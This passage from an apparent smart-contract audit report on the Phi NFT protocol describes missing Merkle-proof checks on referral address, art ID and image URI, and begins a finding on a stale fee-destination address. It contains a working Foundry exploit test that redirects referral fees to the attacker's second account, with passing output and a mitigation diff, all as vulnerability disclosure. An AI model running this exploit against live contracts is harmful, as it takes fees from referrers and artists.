  (address minter_, address ref_, uint256 artId_) = abi.decode(encodeData_, (address, address, uint256));
  PhiArt storage art = arts[artId_];
  ......
  if (
      !MerkleProofLib.verifyCalldata(
          proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_))))
      )
  ) {
      revert InvalidMerkleProof();
  }
  ......

Observing the line where the merkle hash is cross-checked:

!MerkleProofLib.verifyCalldata( proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_)))) )

It becomes clear that only minter_ from encodeData_ is checked, leaving ref_ and artId_ to whatever values passed by the user.

By the way, both ref_ and artId_ are explicitly checked in the signatureClaim function:

function signatureClaim(.....) external payable whenNotPaused {
  (uint256 expiresIn_, address minter_, address ref_, address verifier_, uint256 artId_,, bytes32 data_) =
      abi.decode(encodeData_, (uint256, address, address, address, uint256, uint256, bytes32));
      
  if (expiresIn_ <= block.timestamp) revert SignatureExpired();
  if (_recoverSigner(keccak256(encodeData_), signature_) != phiSignerAddress) revert AddressNotSigned();
  .....
}

Hence, to forge ref_ and artId_, malicious users will have to use merkleClaim instead of signatureClaim.

Impact of forging ref_

• Malicious users can pass in their own other account address as ref_, successfully stealing the referral fee from the real ref_ or the artist(who will receive the referral fee if ref_ is set to null).
• Suppose Alice has 2 accounts, when she calls merkleClaim to claim on account 1, she can pass in account 2 as the ref_ to illegally steal the referral fees to offset the cost of minting.
• The reason why Alice has to pass in account 2 instead of account 1 as the ref_ is because in PhiRewards.sol’s depositRewards, referral has to be different from minter address in order for Alice to receive the referral fees.

Impact of forging artId_

• Unlike signatureClaim which checks artId_ explicitly, merkleClaim only verifies minter_ and leafPart_ to the credId’s merkle root hash.
• Since a Cred can have multiple art linked to it, this becomes a problem.
• Suppose Cred A has Art 1 and Art 2.
• Now, Alice got approval to claim Art 1.
• If the art’s verification type was set to “SIGNATURE” and Alice had to call signatureClaim, Alice would only be able to claim Art 1 with that approval signature.
• However if the art’s verification type was “MERKLE” instead, when she calls merkleClaim, she will be able to claim Art 2 with only approval for Art 1 by passing the artId_ of Art 2.

Missing imageURI in validation

We can see in both signatureClaim Line 330 and merkleClaim Line 355, imageURI is passed into the function parameter rather than extracted from the signature and is not involved in the merkle hash check as well.

Since imageURI contains important information about the art details (such as location/directory). This could have a severe impact. When the malicious user is trying to claim an art that he has permission to, he could pass in an imageURI with the location directory of the picture image file pointing to another art which he does not have permission for.

The line advancedTokenURI[tokenId_][to_] = imageURI_; in PhiNFT1155.sol will also be set to an unapproved value. This will lead to undefined/unsupported behaviours when interacting with the smart contract regarding trying to render an user’s art URI.

Proof of concept

Add this function to test/PhiFactory.t.sol:TestPhiFactory:

function test_claimHack() public {
  bytes32 expectedRoot = 0xe70e719557c28ce2f2f3545d64c633728d70fbcfe6ae3db5fa01420573e0f34b;
  bytes memory credData = abi.encode(1, owner, "MERKLE", 31_337, expectedRoot);
  bytes memory signCreateData = abi.encode(expiresIn, ART_ID_URL_STRING, credData);
  bytes32 createMsgHash = keccak256(signCreateData);
  bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
  (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
  if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
  phiFactory.createArt{ value: NFT_ART_CREATE_FEE }(
      signCreateData,
      abi.encodePacked(cr, cs),
      IPhiFactory.CreateConfig(participant, receiver, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false)
  );

  address Alice = participant; //Original file setup already deals `participant` enough ether to pay for mint fees
  address Alice_2 = address(0x123456); //Alice's account 2
  vm.startPrank(Alice);

  bytes32[] memory proof = new bytes32[](2);
  proof[0] = 0x0927f012522ebd33191e00fe62c11db25288016345e12e6b63709bb618d777d4;
  proof[1] = 0xdd05ddd79adc5569806124d3c5d8151b75bc81032a0ea21d4cd74fd964947bf5;
  address to = 0x1111111111111111111111111111111111111111;
  bytes32 value = 0x0000000000000000000000000000000003c2f7086aed236c807a1b5000000000;
  uint256 artId = 1;
  bytes memory data = abi.encode(artId, to, proof, Alice_2, uint256(1), value, IMAGE_URL2); // Within this line we have the freedom to decide artId, address of referral and the image URL

  bytes memory dataCompressed = LibZip.cdCompress(data);
  uint256 totalMintFee = phiFactory.getArtMintFee(artId, 1);


  phiFactory.claim{ value: totalMintFee }(dataCompressed);
  (, bytes memory response) = phiFactory.phiRewardsAddress().call(abi.encodeWithSignature("balanceOf(address)", Alice_2));
  uint256 balance = abi.decode(response, (uint256));
  console2.log("Alice_2: ", balance); //Alice successfully illegally receives referral fee through her second account
  vm.stopPrank();
}

Run forge test --match-test test_claimHack -vv:

Ran 1 test for test/PhiFactory.t.sol:TestPhiFactory
[PASS] test_claimHack() (gas: 1356967)
Logs:
  Alice_2:  50000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.83ms (4.52ms CPU time)

As you can see from the Code and the output, Alice managed to set the referral address to her second account (Alice_2), and received the referral reward of 0.00005 ether; which will be a significant sum if Alice was minting high quantity of art, since rewards are calculated by quantity_ * referralReward

Alice also managed to manipulate image_uri, encoding IMAGE_URL2 instead of IMAGE_URL into the function parameter. Both IMAGE_URL2 and IMAGE_URL are different variables which are already declared in the original foundry test file.

Recommended Mitigation Steps

In function merkleClaim:

if (
    !MerkleProofLib.verifyCalldata(
-       proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_))))
+       proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, ref_, artId_, mintArgs_.imageURI, leafPart_))))
  )
) {
    revert InvalidMerkleProof();
}

In function signatureClaim:

-  (uint256 expiresIn_, address minter_, address ref_, address verifier_, uint256 artId_,, bytes32 data_) = abi.decode(encodeData_, (uint256, address, address, address, uint256, uint256, bytes32));
+  (uint256 expiresIn_, address minter_, address ref_, address verifier_, uint256 artId_,, bytes32 data_, string memory uri) = abi.decode(encodeData_, (uint256, address, address, address, uint256, uint256, bytes32, string));
+  mintArgs_.imageURI = uri;

Tools Used

Foundry, VSCode

ZaK3939 (Phi) confirmed and commented:

1. Regarding the issue with ref_ (referrer address): As you pointed out, the manipulation of referrer addresses is a phenomenon seen on other platforms as well, and may not be considered a significant problem.
2. Incorrect assertion about artId_: The report’s claim that “Art 2 can be claimed with only approval for Art 1” misunderstands the actual operation of the code. This assertion is not accurate for the following reasons:

PhiArt storage art = arts[artId_];
bytes32 credMerkleRootHash = credMerkleRoot[art.credChainId][art.credId];
if (minter_ == address(0) || !art.verificationType.eq("MERKLE") || credMerkleRootHash == bytes32(0)) {
    revert InvalidMerkleProof();
}
if (
            !MerkleProofLib.verifyCalldata(
                proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_))))
            )
        ) {
            revert InvalidMerkleProof();
        }

This code checks the verification type and credMerkleRootHash corresponding to the specified artId_. In other words, even if a different art ID is used, the correct verification information for that art is required. Therefore, it is not possible to claim Art 2 with only the approval for Art 1.

3. Issue with imageURI: The lack of verification for the imageURI parameter remains a potential problem. This could allow unapproved image URLs to be set.

Main issue after correction: lack of verification for imageURI:

Attackers may be able to specify unapproved image URLs. This could result in inappropriate images or unintended content being associated with the NFT.

0xDjango (judge) decreased severity to Medium and commented:

Valid medium. The user has the ability to provide any imageURI, potentially to the detriment of the protocol and its users.

[M-06] PhiNFT1155 contracts continue sending fees/royalties to old protocol destination address

Submitted by MrPotatoMagic, also found by hgrano, 20centclub, 0xNirix, and 0xCiphky

When a PhiNFT1155.sol contract instance is created from the PhiFactory contract, the initialize() function is called to setup it. One of the parameters passed along is the protocolFeeDestination address, which is used as the default royalty recipient (see here) and the address that will receive the artCreate fees (see here).

Issue

The issue is that if the protocolFeeDestinationAddress contract is changed in the PhiFactory contract by the owner using function setProtocolFeeDestination(), the existing PhiNFT1155.sol contract instances created would still be using the old protocol fee destination address stored in them since it is not being dynamically retrieved from the PhiFactory contract. The protocolFeeDestination address could be updated for several reasons such as in case it is compromised, becomes malicious or there has been a decision made to make the address non-privileged.

Impact

Due to this, the old protocol fee destination address would still be receiving all the royalties (i.e., 500 bps = 5%) from all PhiNFT1155.sol contract instances. It would also be receiving all the artCreateFee amount of tokens when art is created through the createArtFromFactory() function.

Proof of Concept

1. First we’ll take a look at the protocolFeeDestination address. As we can see below, once the protocolFeeDestination address is set through the initialize() function on Line 122, there is no way to update it to the new address or no way to dynamically retrieve the latest address from the PhiFactory contract.

File: PhiNFT1155.sol
43:     address public protocolFeeDestination;

... ...

File: PhiNFT1155.sol
095:     function initialize(
096:         uint256 credChainId_,
097:         uint256 credId_,
098:         string memory verificationType_,
099:         address protocolFeeDestination_
100:     )
101:         external
102:         initializer
103:     {
104:         ...

109:         initializeRoyalties(protocolFeeDestination_);
110: 
111:         ...

120:         phiFactoryContract = IPhiFactory(payable(msg.sender));
121: 
122:         protocolFeeDestination = phiFactoryContract.protocolFeeDestination(); 
123:         ...
126:     }